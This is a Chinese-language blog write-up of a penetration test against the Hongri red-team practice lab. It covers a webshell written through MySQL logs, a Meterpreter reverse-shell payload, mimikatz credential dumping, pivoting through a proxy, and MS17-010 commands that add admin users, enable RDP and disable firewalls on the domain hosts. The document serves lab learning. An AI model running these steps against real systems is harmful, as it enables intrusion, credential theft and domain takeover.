红日靶场1(渗透记录)
首先感谢红日安全团队分享的靶机实战环境,这篇博客是为自己记录的同时分享出来让大佬们共同检阅,如有问题,还请多多指教。
靶场下载
靶场地址:ATT&CK实战系列-红队实战(一)
虚拟机所有统一密码:hongrisec@2019,有时可能会提醒密码过期,按照提示进行修改即可。
靶场搭建
vmvare虚拟机网络配置
kali-攻击机:192.168.33.133
win7-web服务器(双网卡):192.168.33.231
192.168.52.143
win2003-域成员:192.168.52.141
win2008-域控:192.168.52.138
win7为web服务器,开启 phpstudy服务
拓扑图如下
web渗透
1、web服务器
1、信息收集
扫描33网段找到目标主机ip,这里web服务器ip为192.168.33.231
netdiscover -i eth0 -r 192.168.33.0/24
nmap扫描ip端口,发现很多有用的端口号445,3306
nmap -sV -Pn 192.168.33.231
-sV: 指定让Nmap进行版本侦测
-PN: 跳过Ping扫描阶段
访问一下80端口,可以看出是用phpstudy搭建的,并且可以看到绝对路径
进行目录扫描,发现phpmyadmin,扫到了一个备份文件,打开发现是yxcms的网站源码,应该部署着这个CMS。
2、漏洞利用
访问phpmyadmin
弱口令root/root,登录成功
查看一下当前用户,是root账户,那就可以做事了
查看数据库是否可以写入,查询之后为NULL,所以不能写入
show global variables like 'secure%'; #查询secure_file_priv
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
尝试用mysql日志写入文件
#查看日志信息
show variables like '%general%';
#日志读写默认是关闭的OFF,打开日志读写功能
SET GLOBAL general_log='on';
#开启后将日志文件的存储位置改为可访问到的目录, 根目录即可
set global general_log_file = 'C:/phpStudy/WWW/shell.php'
#执行下边一句话木马 ,数据库将会将查询语句保存在日志文件中
SELECT '<?php @eval($_POST["cmd"]);?>'
用蚁剑进行连接
连接成功
看下部署的CMS,访问一下
浏览网站首页,在公告信息处看见了后台登录地址并给出了密码,访问一下
登陆成功后,在前台模板出看见有很多的php文件的模板,写入shell
随便找一个写入shell,然后保存
蚁剑进行连接,模板文件的位置可以从刚才的备份文件当中去查
连接成功
查看一下本地用户,发现本地用户为Administrator,是管理员权限,这就太好了。
先给防火墙关了,以免夜长梦多
netsh advfirewall set allprofiles state off #win关闭防火墙
2、内网渗透
1、msf后门生成
利用msf生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.33.133 LPORT=3333 -f exe > 123.exe
在kali上开启监听
msfconsole #开启msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options #可以查看一下写的内容
set lhost 192.168.33.133 #ip写kali的
set lport 3333 #监听端口
run #启动
将刚制作的木马文件通过蚁剑上传到web服务器,并执行
成功shell
2、内网信息收集
net time /domain #查看时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
net view /domain:GOD #查看GOD域情况
nslookup 主机名 #查看域内其他主机 可能ip查不出来
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
获取目标主机的shell
shell #进入模拟终端
chcp 65001 #解决乱码
可知内网网段应该是 192.168.52.0/24
route print # 打印路由信息
首先判断是否在域中,域控制器一般集成了DNS服务,通过 ipconfig /all
,即可简单判断。
域名为god.org,还可以使用下面这种方法查看
net view /domain #查询当前主机是否加入域,如果加入则列出域名
查看域内信息
net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域
接着定位域控
域控的域名即 owa.god.org ,用 ping 即可反查出域控(server 2008)ip为192.168.52.138
再来看一下域内的其它主机,OWA是域控,STU1是win7,所以剩下的就是域成员得到ip为192.168.52.141
再来看一下域管理员,可以看到这里我们获得的 Administrator 就是域控OWA的域管理员
net group "domain admins" /domain #查询域管理员
看一下域里有几个用户
net user /domain #查看域用户,只有域管才能执行
3、提权
getuid #查看服务器权限
getsystem #提权
getuid #查看是否提权成功
成功得到系统权限
4、获取域用户的密码信息
方法一:加载 kiwi模块
load kiwi #加载kiwi模块
creds_all #列出所有凭据
方法二:加载mimikatz模块,再尝试加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程
ps #查看进程
migrate PID
load mimikatz
kiwi_cmd sekurlsa::logonpasswords
方法一:
方法二:
目前为止,获得的内网信息有:
域名:god.org
域内有五个用户:Administrator、Guest、liukaifeng01、ligang、krbtgt
域内三台主机:OWA、ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143
3、跨网段横向渗透
1、msf添加代理
添加路由
run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由信息
配置代理
use auxiliary/server/socks_proxy
set version 4a
set SRVPORT 2222 #端口可以任意,只要不被占用
run
再进入 /etc/proxychains4.conf 更改代理配置
测试一下代理配置是否成功
2、域成员渗透
首先看下域成员开放的端口,全扫很久,这里只扫描一些高危端口
proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.141
这里看见开着445端口,试着用一下ms17_010
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.52.141
run
添加一个用户尝试远程登录一下
还是使用这个模块,依次执行下面命令
set command net user bbb qwer@123 /add #添加用户
run
set command net localgroup administrators bbb /add #管理员权限
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
run
set command netsh advfirewall set allprofiles state off #关闭防火墙
run
远程登录一下
proxychains rdesktop 192.168.52.141
成功进入
3、域控渗透
先扫端口
proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.138
继续使用ms17_010
use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.52.138
run
添加一个用户尝试远程登录一下
还是使用这个模块,依次执行下面命令
set command net user ccc qwer@123 /add #添加用户
run
set command net localgroup administrators ccc /add #管理员权限
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
run
set command netsh advfirewall set allprofiles state off #关闭防火墙
run
远程登录一下
proxychains rdesktop 192.168.52.138
成功登录
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix